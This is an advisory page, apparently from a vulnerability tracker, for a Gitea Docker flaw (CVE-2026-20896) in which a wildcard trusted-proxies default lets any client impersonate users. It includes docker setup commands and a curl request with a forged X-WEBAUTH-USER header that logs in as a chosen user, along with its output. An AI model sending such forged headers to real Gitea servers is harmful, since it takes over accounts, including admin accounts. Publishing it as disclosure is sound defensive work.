GHSA-F75J-4CW6-RMX4
Vulnerability from github – Published: 2026-07-21 20:28 – Updated: 2026-07-21 20:28Summary
The Gitea Docker images ship an app.ini template that hard-codes:
REVERSE_PROXY_TRUSTED_PROXIES = *
The documented default for this setting, in custom/conf/app.example.ini, is 127.0.0.0/8,::1/128, i.e. only loopback is trusted.
When an admin enables ENABLE_REVERSE_PROXY_AUTHENTICATION = true to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at "the default", they expect only the proxy's loopback connection to inject identity. The Docker image instead trusts X-WEBAUTH-USER from any source IP that can reach the container.
Affected
gitea/giteaDocker images (verified1.26.2)docker/root/etc/templates/app.ini:55docker/rootless/etc/templates/app.ini:52
Binary distribution and self-built deployments that follow app.example.ini get the loopback-only default and are not affected.
Reproduction
docker run -d --name g -p 3000:3000 \
-e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \
-e GITEA__security__INSTALL_LOCK=true \
gitea/gitea:1.26.2
sleep 15
docker exec --user git g gitea admin user create \
--username alice --password "longpasswordhere1234" \
--email alice@x.test --must-change-password=false
Now the attack::
curl -s -L -H "X-WEBAUTH-USER: alice" http://localhost:3000/ \
| grep -oE '<title>[^<]+</title>'
Output: <title>alice - Dashboard - Gitea: Git with a cup of tea</title> — attacker is logged in as alice with one header, no password, no cookie.
Same payload with X-WEBAUTH-USER: <any_existing_username> impersonates that user.
Impact
Any process that can reach the Gitea container's HTTP port directly — not through the intended authenticating proxy — can impersonate any user whose login name is known or guessable. Admin accounts (admin, gitea_admin, etc.) are the obvious targets.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "code.gitea.io/gitea"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.26.3"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-20896"
],
"database_specific": {
"cwe_ids": [
"CWE-284"
],
"github_reviewed": true,
"github_reviewed_at": "2026-07-21T20:28:58Z",
"nvd_published_at": "2026-07-03T21:16:56Z",
"severity": "CRITICAL"
},
"details": "# Summary\n\nThe Gitea Docker images ship an `app.ini` template that hard-codes:\n\n```\nREVERSE_PROXY_TRUSTED_PROXIES = *\n```\n\nThe documented default for this setting, in `custom/conf/app.example.ini`, is `127.0.0.0/8,::1/128`, i.e. only loopback is trusted.\n\nWhen an admin enables `ENABLE_REVERSE_PROXY_AUTHENTICATION = true` to put Gitea behind an authenticating reverse proxy and leaves the trusted-proxies setting at \"the default\", they expect only the proxy\u0027s loopback connection to inject identity. The Docker image instead trusts `X-WEBAUTH-USER` from **any source IP** that can reach the container.\n\n## Affected\n\n- `gitea/gitea` Docker images (verified `1.26.2`)\n- `docker/root/etc/templates/app.ini:55`\n- `docker/rootless/etc/templates/app.ini:52`\n\nBinary distribution and self-built deployments that follow `app.example.ini` get the loopback-only default and are not affected.\n\n## Reproduction\n\n```\ndocker run -d --name g -p 3000:3000 \\\n -e GITEA__service__ENABLE_REVERSE_PROXY_AUTHENTICATION=true \\\n -e GITEA__security__INSTALL_LOCK=true \\\n gitea/gitea:1.26.2\n\nsleep 15\ndocker exec --user git g gitea admin user create \\\n --username alice --password \"longpasswordhere1234\" \\\n --email alice@x.test --must-change-password=false\n\nNow the attack::\n\n\ncurl -s -L -H \"X-WEBAUTH-USER: alice\" http://localhost:3000/ \\\n | grep -oE \u0027\u003ctitle\u003e[^\u003c]+\u003c/title\u003e\u0027\n```\n\nOutput: `\u003ctitle\u003ealice - Dashboard - Gitea: Git with a cup of tea\u003c/title\u003e` \u2014 attacker is logged in as alice with one header, no password, no cookie.\n\nSame payload with `X-WEBAUTH-USER: \u003cany_existing_username\u003e` impersonates that user.\n\n## Impact\n\nAny process that can reach the Gitea container\u0027s HTTP port directly \u2014 not through the intended authenticating proxy \u2014 can impersonate any user whose login name is known or guessable. Admin accounts (`admin`, `gitea_admin`, etc.) are the obvious targets.",
"id": "GHSA-f75j-4cw6-rmx4",
"modified": "2026-07-21T20:28:58Z",
"published": "2026-07-21T20:28:58Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/security/advisories/GHSA-f75j-4cw6-rmx4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20896"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/pull/38151"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/commit/99f8b3d9a1d32f4c39828e07971455a18191e0b9"
},
{
"type": "WEB",
"url": "https://blog.gitea.com/release-of-1.26.3-and-1.26.4"
},
{
"type": "PACKAGE",
"url": "https://github.com/go-gitea/gitea"
},
{
"type": "WEB",
"url": "https://github.com/go-gitea/gitea/releases/tag/v1.26.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Gitea Docker image: `REVERSE_PROXY_TRUSTED_PROXIES = *` default lets any source IP impersonate any user via `X-WEBAUTH-USER`"
}
Drag nodes to arrange them. Double-click a related vulnerability to open it, or a source to visit its link. The Physics button on the left tunes the layout and the simulation; the legend at the bottom left hides or shows nodes by kind and by sighting type.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Vulnerability timeline
Sightings and recorded dates, grouped by day · UTC
How durations are calculated
Following the VTEM framework (Black Hat USA 2015), time to patch starts when the vendor or a coordinator was informed, total time to patch at discovery, and disclosure to patch at public disclosure; vendor response time runs from the report to its acknowledgement. Time to exploit and time unpatched start at the earliest discovery or report, falling back to public disclosure. Unpatched time ends at the first recorded patch, or the calculation time when no patch is recorded. Exploitation to patch shows the interval between those two events; a published proof of concept is a public exploit, not exploitation.
Each result shows its source dates. A negative interval means the end event came first; when date-only inputs leave the order open, the result says so. Date-only inputs are approximate. The earliest evidence wins: KEV report dates and sightings are labelled as such. Records describing another vulnerability are listed but never calculated from, and a PoC alone does not establish exploitation. Missing patch evidence does not prove that no patch exists. Filters below change the event list only.
Loading timeline…
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.
Related by attack behaviour
Vulnerabilities whose description is nearest to this one in the vector space of the CIRCL/vulnerability-attack-technique-biencoder model. This is a similarity search over the bi-encoder space (plain cosine), not a classification, and it has no measured accuracy.